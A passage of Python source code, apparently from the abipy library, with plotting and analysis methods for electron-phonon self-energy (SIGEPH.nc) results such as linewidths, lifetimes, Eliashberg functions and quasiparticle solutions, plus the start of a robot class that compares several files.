in itemp_list:\n yvals = qpes[spin, :, :, itemp].real - e0\n for ib,band in enumerate(range(*band_range)):\n ax.scatter(self.kcalc2ibz, yvals[:, ib],\n label=\"T = %.1f K\" % self.tmesh[itemp] if band == 0 else None,\n color=cmap(itemp / self.ntemp), alpha=0.6, marker=\"o\", s=20,\n )\n\n set_axlims(ax, ylims, \"y\")\n if spin == 0:\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n @add_fig_kwargs\n def plot_lws_vs_e0(self, rta_type=\"serta\", itemp_list=None, ax=None,\n colormap=\"jet\", fontsize=8, **kwargs) -> Figure:\n r\"\"\"\n Plot phonon-induced linewidths vs KS energy for different temperatures.\n\n Args:\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n itemp_list: List of temperature indices to interpolate. None for all.\n ax: |matplotlib-Axes| or None if a new figure should be created.\n colormap: matplotlib color map.\n fontsize: fontsize for titles and legend.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n cmap = plt.get_cmap(colormap)\n #if \"markersize\" not in kwargs: kwargs[\"markersize\"] = 4\n\n r = self.r\n ks_enes = r.read_value(\"ks_enes\") * abu.Ha_eV\n\n if rta_type == \"serta\":\n lws_arr = r.read_value(\"vals_e0ks\")[..., 1]\n elif rta_type == \"mrta\":\n lws_arr = r.read_value(\"linewidth_mrta\")\n else:\n raise ValueError(\"Invalid rta_type: `%s`\" % rta_type)\n\n ks_list, lws = [], []\n for it, itemp in enumerate(itemp_list):\n for spin in range(self.nsppol):\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n nb = r.nbcalc_sk[spin, ikc]\n if it == 0: ks_list.extend(ks_enes[spin, ikc, :nb])\n lws.extend(lws_arr[spin, ikc, :nb, itemp])\n\n nt = len(itemp_list)\n ks_enes = np.reshape(np.array(ks_list), (self.nsppol, -1))\n lws = np.reshape(np.array(lws), (nt, self.nsppol, -1))\n\n marker = kwargs.pop(\"marker\", \"o\")\n s = kwargs.pop(\"s\", 20)\n kw_color = kwargs.pop(\"color\", None)\n kw_label = kwargs.pop(\"label\", None)\n\n for spin in range(self.nsppol):\n spin_sign = +1 if spin == 0 else -1\n xs = ks_enes[spin].ravel()\n for it, itemp in enumerate(itemp_list):\n ys = spin_sign * lws[it, spin].ravel()\n ax.scatter(xs, ys,\n label=kw_label if kw_label is not None else\n (\"T = %.1f K\" % self.tmesh[itemp] if spin == 0 else None),\n color=kw_color if kw_color is not None else cmap(itemp / self.ntemp),\n alpha=0.6, marker=marker, s=s,\n )\n\n ax.set_xlabel(\"Energy (eV)\")\n ax.set_ylabel(\"Linewidth\")\n ax.grid(True)\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n ax.set_title(rta_type.upper())\n\n return fig\n\n @add_fig_kwargs\n def plot_tau_vtau(self, rta_type=\"serta\", itemp_list=None, ax_list=None,\n colormap=\"jet\", fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot transport lifetimes, group velocities and mean free path (v * tau).\n as a function of the KS energy for a given relaxation time approximation.\n\n Args:\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n itemp_list: List of temperature indices to interpolate. None for all.\n ax_list: List of |matplotlib-Axes| for plot. If None, new figure is produced.\n colormap: matplotlib color map.\n fontsize: fontsize for titles and legend.\n kwargs: Optional Keyword arguments.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n itemp_list = list(range(self.ntemp)) if itemp_list is None else duck.list_ints(itemp_list)\n\n # Build grid with (3, 1) plots.\n nrows, ncols = 3, 1\n ax_mat, fig, plt = get_axarray_fig_plt(ax_list, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=True)\n\n cmap = plt.get_cmap(colormap)\n\n # Read data from netcdf file:\n #\n # KS energies for nk states in Sigma_nk in Hartree units.\n # nctkarr_t(\"ks_enes\", \"dp\", \"max_nbcalc, nkcalc, nsppol\")\n #\n # Diagonal elements of velocity operator in cartesian coordinates for all states in Sigma_nk.\n # nctkarr_t(\"vcar_calc\", \"dp\", \"three, max_nbcalc, nkcalc, nsppol\")]))\n #\n # Diagonal matrix elements of self-energy in the KS basis set (imag gives SERTA linewidths)\n # nctkarr_t(\"vals_e0ks\", \"dp\", \"two, ntemp, max_nbcalc, nkcalc, nsppol\")\n #\n # lifetimes with MRTA\n # nctkarr_t(\"linewidth_mrta\", \"dp\", \"ntemp, max_nbcalc, nkcalc, nsppol\")\n\n r = self.r\n ks_enes = r.read_value(\"ks_enes\") * abu.Ha_eV\n vcart = r.read_value(\"vcar_calc\")\n\n if rta_type == \"serta\":\n lws = r.read_value(\"vals_e0ks\")[..., 1]\n elif rta_type == \"mrta\":\n lws = r.read_value(\"linewidth_mrta\")\n else:\n raise ValueError(\"Invalid rta_type: `%s`\" % rta_type)\n\n def taus_from_lw(arr):\n \"\"\"Return transport lifetime from linewidth.\"\"\"\n # TODO: times conversion fact!\n asimag = np.abs(arr)\n asimag = np.where(asimag > 1e-8, asimag, 1e-8)\n return 1.0 / (2.0 * asimag)\n\n ks_list, vels, taus = [], [], []\n for it, itemp in enumerate(itemp_list):\n for spin in range(self.nsppol):\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n nb = r.nbcalc_sk[spin, ikc]\n if it == 0: ks_list.extend(ks_enes[spin, ikc, :nb])\n taus.extend(taus_from_lw(lws[spin, ikc, :nb, itemp]))\n vels.extend(np.linalg.norm(vcart[spin, ikc, :nb, :], axis=-1))\n\n nt = len(itemp_list)\n ks_enes = np.reshape(np.array(ks_list), (self.nsppol, -1))\n taus = np.reshape(np.array(taus), (nt, self.nsppol, -1))\n vels = np.reshape(np.array(vels), (nt, self.nsppol, -1))\n\n data = {\n 0: dict(vals=taus, ylabel=r\"$\\tau}$\"),\n 1: dict(vals=vels, ylabel=r\"$v$\"),\n 2: dict(vals=vels * taus, ylabel=r\"$v\\,\\tau$\"),\n }\n\n for ix, ax in enumerate(ax_mat):\n d = data[ix]\n for spin in range(self.nsppol):\n spin_sign = +1 if spin == 0 else -1\n xs = ks_enes[spin].ravel()\n for it, itemp in enumerate(itemp_list):\n ys = spin_sign * d[\"vals\"][it, spin].ravel()\n ax.scatter(xs, ys,\n label=\"T = %.1f K\" % self.tmesh[itemp] if (ix == 0 and spin == 0) else None,\n color=cmap(itemp / self.ntemp), alpha=kwargs.get(\"alpha\", 0.6),\n marker=kwargs.get(\"marker\", \"o\"), s=kwargs.get(\"s\", 20),\n )\n\n if ix == len(ax_mat) - 1: ax.set_xlabel(\"Energy (eV)\")\n if spin == 0: ax.set_ylabel(d[\"ylabel\"])\n\n ax.grid(True)\n if ix == 0: ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n fig.suptitle(rta_type.upper())\n\n return fig\n\n @add_fig_kwargs\n def plot_scratew_skb(self, spin, kpoint, band, rta_type=\"serta\",\n ax=None, colormap=\"jet\", fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the spectral decomposition of the scattering rate for a single (spin, kpoint, state)\n as a function of the phonon energy for all temperatures.\n\n Args:\n spin: Spin index (C convention, i.e >= 0).\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or integer defining the k-point in the kcalc array\n band: band index. C convention so decremented by -1 wrt Fortran index.\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n itemp_list: List of integers to select a particular temperature. None means all\n ax: |matplotlib-Axes| or None if a new figure should be created.\n colormap: matplotlib color map.\n fontsize: legend and label fontsize.\n kwargs: Keyword arguments passed to ax.plot\n\n Returns: |matplotlib-Figure|\n \"\"\"\n spin, ikc, ib, kpoint = self.r.get_sigma_skb_kpoint(spin, kpoint, band)\n irta = {\"serta\": 0, \"mrta\": 1}[rta_type]\n\n # In Fortran, we have the netcdf variable:\n # nctkarr_t(\"scratew\", \"dp\", \"phmesh_size, ntemp, max_nbcalc, two, nkcalc, nsppol\")\n var = self.r.read_variable(\"scratew\")\n vals_tw = var[spin, ikc, irta, ib]\n phmesh = self.r.read_value(\"phmesh\")\n phmesh_mev = phmesh * abu.Ha_meV\n\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n other_ax = ax.twinx()\n cmap = plt.get_cmap(colormap)\n from scipy.integrate import cumtrapz\n\n for itemp, yw in enumerate(vals_tw):\n color = cmap(itemp / len(self.tmesh))\n integ = cumtrapz(yw, x=phmesh, initial=0.0) * abu.Ha_THz\n yw = yw * abu.Ha_THz / abu.Ha_meV\n\n ax.plot(phmesh_mev, yw,\n color=color, label=\"T = %.1f K\" % self.tmesh[itemp],\n )\n\n other_ax.plot(phmesh_mev, integ,\n color=color,\n )\n\n ax.grid(True)\n ax.set_xlabel(r\"$\\omega$ (meV)\")\n ax.set_ylabel(r\"$\\partial_\\omega \\tau^{-1}_{nk}$\")\n other_ax.set_ylabel(r\"$\\tau^{-1}_{nk}(\\omega)$ (THz)\")\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n if \"title\" not in kwargs:\n ax.set_title(\"K-point: %s, band: %d, spin: %d (%s)\" % (repr(kpoint), band, spin, rta_type.upper()))\n\n return fig\n\n @add_fig_kwargs\n def plot_scratew(self, cbm_or_vbm, kt_fact=3/2, ewin_mev=1.0, spin=0, rta_type=\"serta\",\n ax=None, colormap=\"jet\", fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the spectral decomposition of the scattering rate\n as a function of the phonon energy for all temperatures.\n\n Args:\n cbm_or_vbm:\n kt_fact\n ewin_mev:\n spin: Spin index (C convention, i.e >= 0).\n rta_type: \"serta\" for SERTA linewidths or \"mrta\" for MRTA linewidths.\n ax: |matplotlib-Axes| or None if a new figure should be created.\n colormap: matplotlib color map.\n fontsize: legend and label fontsize.\n kwargs: Keyword arguments passed to ax.plot\n\n Returns: |matplotlib-Figure|\n \"\"\"\n irta = {\"serta\": 0, \"mrta\": 1}[rta_type]\n\n # Find the (n, k) states inside the energy window of half width `ewin_mev`\n # The window is centered around e0 where e0 depends on the band edge and the temperature.\n ebands = self.ebands\n if cbm_or_vbm == \"cbm\":\n edge = ebands.lumos[spin]\n sign = +1\n\n elif cbm_or_vbm == \"vbm\":\n edge = ebands.homos[spin]\n sign = -1\n\n print(f\"Using {cbm_or_vbm} edge:\", edge)\n\n # Compute erange for the different temperatures.\n erange_itemp = []\n for kt_ev in self.r.ktmesh_ev:\n e0 = edge.eig + sign * kt_ev * kt_fact\n erange_itemp.append((e0 - ewin_mev / 1000, e0 + ewin_mev / 1000))\n\n erange_itemp = np.array(erange_itemp)\n\n # Extract weights for the kcalc k-points from the weights in the IBZ (kpoint_weights)\n weights_ibz = self.r.read_value(\"kpoint_weights\")\n weights_kcalc = [weights_ibz[ik_ibz] for ik_ibz in self.kcalc2ibz]\n\n # These are the KS eigenvalues for the kcalc k-points.\n # nctkarr_t(\"ks_enes\", \"dp\", \"max_nbcalc, nkcalc, nsppol\")\n enes_ikc_b = self.r.read_variable(\"ks_enes\")[spin] * abu.Ha_eV\n\n # In Fortran, we have the netcdf variable:\n # nctkarr_t(\"scratew\", \"dp\", \"phmesh_size, ntemp, max_nbcalc, two, nkcalc, nsppol\")\n var = self.r.read_variable(\"scratew\")\n vals_kc_btw = var[spin, :, irta]\n phmesh = self.r.read_value(\"phmesh\")\n phmesh_mev = phmesh * abu.Ha_meV\n\n data_tw = np.zeros((len(erange_itemp), len(phmesh)))\n states_counter_t = np.zeros(len(erange_itemp))\n\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n nb = self.r.nbcalc_sk[spin, ikc]\n wtk = weights_kcalc[ikc]\n # Find the e_nk inside the energy window and accumulate f(w) with IBZ weights.\n for b, e in enumerate(enes_ikc_b[ikc, :nb]):\n for itemp, erange in enumerate(erange_itemp):\n if erange[1] >= e >= erange[0]:\n #data_tw[itemp] += var[spin, ikc, irta] * wtk\n data_tw[itemp] += vals_kc_btw[ikc, b, itemp] * wtk\n states_counter_t[itemp] += 1\n\n #for itemp, count in enumerate(states_counter_t):\n # data_tw[itemp] /= count\n\n # Now plot the results.\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n other_ax = ax.twinx()\n cmap = plt.get_cmap(colormap)\n from scipy.integrate import cumtrapz\n\n for itemp, yw in enumerate(data_tw):\n print(\"Number of nk states found in energy window:\", states_counter_t[itemp])\n color = cmap(itemp / len(self.tmesh))\n integ = cumtrapz(yw, x=phmesh, initial=0.0) * abu.Ha_THz\n yw = yw * abu.Ha_THz / abu.Ha_meV\n\n ax.plot(phmesh_mev, yw,\n color=color, label=\"T = %.1f K\" % self.tmesh[itemp],\n )\n\n other_ax.plot(phmesh_mev, integ,\n color=color,\n )\n\n ax.grid(True)\n ax.set_xlabel(r\"$\\omega$ (meV)\")\n ax.set_ylabel(r\"$\\partial_\\omega \\tau^{-1}_{avg}$\")\n other_ax.set_ylabel(r\"$\\tau^{-1}_{avg}(\\omega)$ (THz)\")\n ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n #if \"title\" not in kwargs:\n # ax.set_title(title)\n\n return fig\n\n @add_fig_kwargs\n def plot_qpsolution_skb(self, spin, kpoint, band, itemp=0, with_int_aw=True,\n ax_list=None, xlims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Graphical representation of the QP solution(s) along the real axis including the\n approximated solution obtained with the linearized equation and the on-the-mass-shell approach.\n\n Produce two subplots:\n 1. Re/Imag part and intersection with omega - eKs\n 2. A(w) + int^w A(w')dw' + OTMS\n\n Args:\n spin: Spin index (C convention, i.e >= 0).\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or integer defining the k-point in the kcalc array\n band: band index. C convention so decremented by -1 wrt Fortran index.\n itemp: Temperature index.\n with_int_aw: Plot cumulative integral of A(w).\n ax_list: List of |matplotlib-Axes|. If None, new figure is produced.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: legend and label fontsize.\n kwargs: Keyword arguments passed to ax.plot\n\n Returns: |matplotlib-Figure|\n \"\"\"\n sigma = self.get_sigeph_skb(spin=spin, kpoint=kpoint, band=band)\n return sigma.plot_qpsolution(itemp=itemp, with_int_aw=with_int_aw,\n ax_list=ax_list, xlims=xlims, fontsize=fontsize, **kwargs)\n\n @add_fig_kwargs\n def plot_qpsolution_sk(self, spin, kpoint, itemp=0, with_int_aw=True,\n ax_list=None, xlims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Produce grid of plots with graphical representation of the QP solution(s) along the real axis\n for all computed bands at given spin and kpoint. See also plot_qpsolution_skb\n\n Args:\n spin: Spin index (C convention, i.e >= 0).\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or integer defining the k-point in the kcalc array\n band: band index. C convention so decremented by -1 wrt Fortran index.\n itemp: Temperature index.\n with_int_aw: Plot cumulative integral of A(w).\n ax_list: List of |matplotlib-Axes|. If None, new figure is produced.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: legend and label fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n ikc = self.r.sigkpt2index(kpoint)\n bmin, bmax = self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]\n\n # Build grid plot.\n nrows, ncols = (bmax - bmin), 2\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n\n for ib, band in enumerate(range(bmin ,bmax)):\n self.plot_qpsolution_skb(spin, ikc, band, itemp=itemp, with_int_aw=with_int_aw,\n ax_list=ax_mat[ib], xlims=xlims, fontsize=fontsize, show=False)\n if ib != 0:\n for ax in ax_mat[ib]:\n set_visible(ax, False, \"legend\", \"xlabel\", \"ylabel\")\n\n return fig\n\n @add_fig_kwargs\n def plot_qpsolution_sklineb(self, spin, kbounds, band, itemp=0, with_int_aw=True, dist_tol=1e-6,\n xlims=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Produce grid of plots with graphical representation of the QP solution(s) along the real axis\n given spin and band and all (computed) kpoints along the segment defined by kbounds.\n See also plot_qpsolution_skb\n\n Args:\n spin: Spin index (C convention, i.e >= 0).\n kbounds: List of two items defining the segment in k-space.\n Accept two strings with the name of the k-points e.g. [\"G\", \"X\"] where G stands for Gamma\n or two vectors with fractional coords e.g. [[0,0,0], [0.5,0,0]]\n band: band index. C convention so decremented by -1 wrt Fortran index.\n itemp: Temperature index.\n with_int_aw: Plot cumulative integral of A(w).\n dist_tol: A point is considered to be on the path if its distance from the line\n is less than dist_tol.\n xlims: Set the data limits for the x-axis. Accept tuple e.g. ``(left, right)``\n or scalar e.g. ``left``. If left (right) is None, default values are used.\n fontsize: legend and label fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n if not len(kbounds) == 2:\n raise ValueError(\"kbounds must contain 2 items. Got `%s`\" % str(kbounds))\n\n # Find kpoints in self.kcalc along input segment.\n cart_bounds = []\n for ik in range(2):\n if duck.is_string(kbounds[ik]):\n k = Kpoint.from_name_and_structure(kbounds[ik], self.structure)\n else:\n # Assume frac_coords\n k = Kpoint(kbounds[ik], self.structure.reciprocal_lattice)\n cart_bounds.append(k.cart_coords)\n cart_bounds = np.reshape(np.array(cart_bounds), (2, 3))\n\n # r.ikfound is a numpy array with the indices of the points lying on the path. Empty if no point is found.\n # Points are already ordered according to the distance along the path.\n cart_coords = self.sigma_kpoints.get_cart_coords()\n r = find_points_along_path(cart_bounds, cart_coords, dist_tol=dist_tol)\n if len(r.ikfound) == 0:\n raise ValueError(\"Cannot find k-points in Sigma_nk along segment: `%s`\" % str(kbounds))\n\n # Build grid plot.\n nrows, ncols = len(r.ikfound), 2\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n\n for ix, ikcalc in enumerate(r.ikfound):\n self.plot_qpsolution_skb(spin, ikcalc, band, itemp=itemp, with_int_aw=with_int_aw,\n ax_list=ax_mat[ix], xlims=xlims, fontsize=fontsize, show=False)\n\n return fig\n\n @add_fig_kwargs\n def plot_a2fw_skb(self, spin, kpoint, band, what=\"auto\", ax=None, fontsize=12, units=\"meV\", **kwargs) -> Figure:\n \"\"\"\n Plot the Eliashberg function a2F_{n,k,spin}(w) (gkq2/Fan-Migdal/DW/Total contribution)\n for a given (spin, kpoint, band)\n\n Args:\n spin: Spin index\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or integer defining the k-point in the kcalc array\n band: band index. C convention so decremented by -1 wrt Fortran index.\n what: fandw for FAN, DW. gkq2 for $|gkq|^2$. Auto for automatic selection based on imag_only\n units: Units for phonon plots. Possible values in (\"eV\", \"meV\", \"Ha\", \"cm-1\", \"Thz\"). Case-insensitive.\n ax: |matplotlib-Axes| or None if a new figure should be created.\n fontsize: legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n if not self.has_eliashberg_function:\n cprint(\"SIGEPH file does not contain Eliashberg function\", \"red\")\n return None\n\n if what == \"auto\":\n what = \"gkq2\" if self.imag_only else \"fandw\"\n\n a2f = self.r.read_a2feph_skb(spin, kpoint, band)\n return a2f.plot(ax=ax, units=units, what=what, fontsize=fontsize, show=False)\n\n @add_fig_kwargs\n def plot_a2fw_skb_sum(self, what=\"auto\", ax=None, exchange_xy=False, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the sum of the Eliashberg functions a2F_{n,k,spin}(w) (gkq2/Fan-Migdal/DW/Total contribution)\n over the k-points and bands for which self-energy matrix elements have been computed.\n\n .. note::\n\n This quantity is supposed to give a qualitative\n The value indeed is not an integral in the BZ, besides the absolute value depends\n on the number of bands in the self-energy.\n\n Args:\n what: fandw for FAN, DW. gkq2 for $|gkq|^2$. Auto for automatic selection based on imag_only\n ax: |matplotlib-Axes| or None if a new figure should be created.\n exchange_xy: True to exchange x-y axis.\n fontsize: legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n if not self.has_eliashberg_function:\n cprint(\"SIGEPH file does not have Eliashberg function\", \"red\")\n return None\n\n if what == \"auto\":\n what = \"gkq2\" if self.imag_only else \"fandw\"\n\n ax, fig, plt = get_ax_fig_plt(ax=ax)\n ax.grid(True)\n\n # nctkarr_t(\"gfw_mesh\", \"dp\", \"gfw_nomega\")\n # nctkarr_t(\"gfw_vals\", \"dp\", \"gfw_nomega, three, max_nbcalc, nkcalc, nsppol\")\n # 1: gkk^2 with delta(en - em)\n # 2:3 (Fan-Migdal/DW contribution)\n # Access arrays directly instead of using read_a2feph_skb because it's gonna be faster.\n #a2f = self.r.read_a2feph_skb(spin, kpoint, band)\n wmesh = self.r.read_value(\"gfw_mesh\") * abu.Ha_eV\n vals = self.r.read_value(\"gfw_vals\") * abu.Ha_eV # TODO check units\n\n xlabel = \"Energy (eV)\"\n for spin in range(self.nsppol):\n asum = np.zeros(self.r.gfw_nomega)\n spin_sign = +1 if spin == 0 else -1\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n # This is not an integral in the BZ.\n wtk = 1.0 / len(self.sigma_kpoints)\n for band in range(self.bstart_sk[spin, ikc], self.bstop_sk[spin, ikc]):\n if what == \"gkq2\":\n vs = vals[spin, ikc, band, 0]\n ylabel = what\n elif what == \"fandw\":\n vs = vals[spin, ikc, band, 1:3, :].sum(axis=0)\n ylabel = what\n else:\n raise ValueError(\"Invalid value for what: `%s`\" % what)\n asum += (spin_sign * wtk) * vs\n\n xs, ys = wmesh, asum\n if exchange_xy: xs, ys = ys, xs\n\n color = \"black\" if spin == 0 else \"red\"\n ax.plot(xs, ys, color=color, **kwargs)\n if spin == 0:\n set_ax_xylabels(ax, xlabel, ylabel, exchange_xy)\n\n #ax.legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n return fig\n\n #@add_fig_kwargs\n #def plot_sigeph_vcbm(self, units=\"meV\", sharey=True, fontsize=8, **kwargs):\n\n @add_fig_kwargs\n def plot_a2fw_all(self, units=\"meV\", what=\"auto\", sharey=False, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the Eliashberg function a2F_{n,k,spin}(w) (gkq2/Fan-Migdal/DW/Total contribution)\n for all k-points, spin and the VBM/CBM for these k-points.\n\n Args:\n units: Units for phonon plots. Possible values in (\"eV\", \"meV\", \"Ha\", \"cm-1\", \"Thz\").\n Case-insensitive.\n what: fandw for FAN, DW. gkq2 for $|gkq|^2$. Auto for automatic selection based on imag_only\n sharey: True if Y axes should be shared.\n fontsize: legend and title fontsize.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n # Build plot grid with (CBM, VBM) on each col. k-points along rows\n num_plots, ncols, nrows = self.nkcalc * 2, 2, self.nkcalc\n\n ax_mat, fig, plt = get_axarray_fig_plt(None, nrows=nrows, ncols=ncols,\n sharex=True, sharey=sharey, squeeze=False)\n\n marker_spin = {0: \"^\", 1: \"v\"}\n count = -1\n if what == \"auto\":\n what = \"gkq2\" if self.imag_only else \"fandw\"\n\n for ikc, kpoint in enumerate(self.sigma_kpoints):\n for spin in range(self.nsppol):\n count += 1\n # Assume non magnetic semiconductor.\n iv = int(self.nelect) // 2 - 1\n ax = ax_mat[ikc, 0]\n self.plot_a2fw_skb(spin, kpoint, iv, ax=ax, fontsize=fontsize, units=units, what=what, show=False)\n ax.set_title(\"k:%s, band:%d\" % (repr(kpoint), iv), fontsize=fontsize)\n ax = ax_mat[ikc, 1]\n self.plot_a2fw_skb(spin, kpoint, iv + 1, ax=ax, fontsize=fontsize, units=units, what=what, show=False)\n ax.set_title(\"k:%s, band:%d\" % (repr(kpoint), iv + 1), fontsize=fontsize)\n if count != 0:\n for ax in ax_mat[ikc]:\n set_visible(ax, False, \"legend\")\n\n # Show legend only for the first ax.\n for i, ax in enumerate(ax_mat.ravel()):\n if i != 0: set_visible(ax, False, \"legend\")\n\n # Show x(y)labels only if first column (last row)\n for irow in range(nrows):\n for icol in range(ncols):\n ax = ax_mat[irow, icol]\n if icol != 0: set_visible(ax, False, \"ylabel\")\n if irow != nrows - 1: set_visible(ax, False, \"xlabel\")\n\n return fig\n\n def get_panel(self, **kwargs):\n \"\"\"\n Build panel with widgets to interact with the |SigEPhFile| either in a notebook or in panel app.\n \"\"\"\n from abipy.panels.sigeph import SigEPhFilePanel\n return SigEPhFilePanel(self).get_panel(**kwargs)\n\n def yield_figs(self, **kwargs): # pragma: no cover\n \"\"\"\n This function *generates* a predefined list of matplotlib figures with minimal input from the user.\n Used in abiview.py to get a quick look at the results.\n \"\"\"\n verbose = kwargs.pop(\"verbose\", 0)\n\n if self.imag_only:\n for rta_type in (\"serta\", \"mrta\"):\n yield self.plot_lws_vs_e0(rta_type=rta_type, title=rta_type, show=False)\n yield self.plot_tau_vtau(rta_type=rta_type, title=rta_type, show=False)\n\n else:\n yield self.plot_qpbands_ibzt(show=False)\n #yield self.plot_qpgaps_t(qp_kpoints=0, show=False)\n for i, qp_kpt in enumerate(self.sigma_kpoints):\n if i > 2 and not verbose:\n print(\"File contains more than 3 k-points. Only the first three k-points are displayed.\")\n break\n yield self.plot_qpgaps_t(qp_kpoints=qp_kpt, qp_type=\"qpz0\", show=False)\n yield self.plot_qpgaps_t(qp_kpoints=qp_kpt, qp_type=\"otms\", show=False)\n\n yield self.plot_qps_vs_e0(show=False)\n\n if self.edos is not None:\n yield self.edos.plot(show=False)\n\n def write_notebook(self, nbpath=None, title=None) -> str:\n \"\"\"\n Write a jupyter_ notebook to ``nbpath``. If nbpath is None, a temporay file in the current\n working directory is created. Return path to the notebook.\n \"\"\"\n nbformat, nbv, nb = self.get_nbformat_nbv_nb(title=title)\n\n nb.cells.extend([\n nbv.new_code_cell(\"ncfile = abilab.abiopen('%s')\" % self.filepath),\n nbv.new_code_cell(\"print(ncfile)\"),\n nbv.new_code_cell(\"ncfile.ebands.plot(with_gaps=True);\"),\n #nbv.new_code_cell(\"ncfile.get_dirgaps_dataframe(kpoint=0)\"),\n #nbv.new_code_cell(\"ncfile.get_dataframe(kpoint=0)\"),\n nbv.new_code_cell(\"ncfile.plot_qpgaps_t(qptype='qpz0');\"),\n nbv.new_code_cell(\"ncfile.plot_qpgaps_t(qptype='otms');\"),\n nbv.new_code_cell(\"#ncfile.plot_qpgaps_t(plot_qpmks=True);\"),\n nbv.new_code_cell(\"ncfile.plot_qps_vs_e0();\"),\n nbv.new_code_cell(\"\"\"\\\nfor spin in range(ncfile.nsppol):\n for sigma_kpoint in ncfile.sigma_kpoints:\n ncfile.plot_qpdata_t(spin, sigma_kpoint, band_list=None, fontsize=12);\"\"\"),\n nbv.new_code_cell(\"#ncfile.get_dataframe_sk(spin=0, kpoint=(0, 0, 0))\"),\n ])\n\n return self._write_nb_nbpath(nb, nbpath)\n\n\nclass SigEPhRobot(Robot, RobotWithEbands):\n \"\"\"\n This robot analyzes the results contained in multiple SIGEPH.nc files.\n\n .. rubric:: Inheritance Diagram\n .. inheritance-diagram:: SigEPhRobot\n \"\"\"\n # Try to have API similar to SigresRobot\n EXT = \"SIGEPH\"\n\n def __init__(self, *args):\n super().__init__(*args)\n if len(self.abifiles) in (0, 1): return\n\n # Check dimensions and self-energy states and issue warning.\n warns = []; wapp = warns.append\n nc0 = self.abifiles[0]\n same_nsppol, same_nkcalc = True, True\n if any(nc.nsppol != nc0.nsppol for nc in self.abifiles):\n same_nsppol = False\n wapp(\"Comparing ncfiles with different values of nsppol.\")\n if any(nc.nkcalc != nc0.nkcalc for nc in self.abifiles):\n same_nkcalc = False\n wapp(\"Comparing ncfiles with different number of k-points in self-energy. Doh!\")\n\n if same_nsppol and same_nkcalc:\n # FIXME\n # Different values of bstart_ks are difficult to handle\n # Because the high-level API assumes an absolute global index\n # Should decide how to treat this case: either raise or interpret band as an absolute band index.\n if any(np.any(nc.bstart_sk != nc0.bstart_sk) for nc in self.abifiles):\n wapp(\"Comparing ncfiles with different values of bstart_sk\")\n if any(np.any(nc.bstop_sk != nc0.bstop_sk) for nc in self.abifiles):\n wapp(\"Comparing ncfiles with different values of bstop_sk\")\n\n if warns:\n for w in warns:\n cprint(w, color=\"yellow\")\n\n def _check_dims_and_params(self) -> None:\n \"\"\"\n Test that nsppol, sigma_kpoints, tlist are consistent.\n \"\"\"\n if not len(self.abifiles) > 1:\n return\n\n nc0 = self.abifiles[0]\n errors = []\n eapp = errors.append\n\n if any(nc.nsppol != nc0.nsppol for nc in self.abifiles[1:]):\n eapp(\"Files with different values of `nsppol`\")\n\n if any(nc.nkcalc != nc0.nkcalc for nc in self.abifiles[1:]):\n cprint(\"Files with different values of `nkcalc`\", color=\"yellow\")\n\n for nc in self.abifiles[1:]:\n for k0, k1 in zip(nc0.sigma_kpoints, nc.sigma_kpoints):\n if k0 != k1:\n cprint(\"Files with different values of `sigma_kpoints`\\n\"+\n \"Specify the kpoint via reduced coordinates and not via the index\", \"yellow\")\n break\n\n if any(not np.allclose(nc.tmesh, nc0.tmesh) for nc in self.abifiles[1:]):\n eapp(\"Files with different tmesh\")\n\n if errors:\n raise ValueError(\"Cannot compare multiple SIGEPH.nc files. Reason:\\n %s\" % \"\\n\".join(errors))\n\n def get_dataframe_sk(self, spin, kpoint, with_params=True, ignore_imag=False) -> pd.DataFrame:\n \"\"\"\n Return |pandas-Dataframe| with QP results for this spin, k-point\n\n Args:\n spin: Spin index\n kpoint: K-point in self-energy. Accepts |Kpoint|, vector or index.\n with_params: True to add convergence parameters.\n ignore_imag: only real part is returned if ``ignore_imag``.\n \"\"\"\n df_list = []; app = df_list.append\n for label, ncfile in self.items():\n df = 